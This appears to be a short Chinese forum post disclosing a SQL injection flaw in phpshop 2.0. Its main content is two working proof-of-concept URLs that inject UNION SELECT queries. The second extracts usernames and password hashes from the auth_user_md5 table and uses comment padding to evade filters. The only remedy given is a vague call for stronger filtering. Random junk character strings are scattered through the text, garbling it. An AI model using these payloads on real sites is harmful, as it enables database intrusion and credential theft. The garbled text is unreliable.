phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
2 m- R# I8 g6 E& ~( U) S+ V6 |7 z测试地址: windows 7 / ubuntu


SQLi p0c:
% a8 [$ E9 V) _9 {
==================

1 Q6 E9 a- W: J3 P% l6 h6 O3 Z! rhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
3 p: J& Q: l0 p' b
' X" j* E1 ]: {. Y- L0 k5 }+ c6 jhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

2 C0 V5 ]/ f  X- w9 H; M$ j修复：
1 i7 K9 k7 a7 I! B: M加强过滤
: P# P, H& ^5 z8 g4 y​

+ I! H* k2 z* L0 Z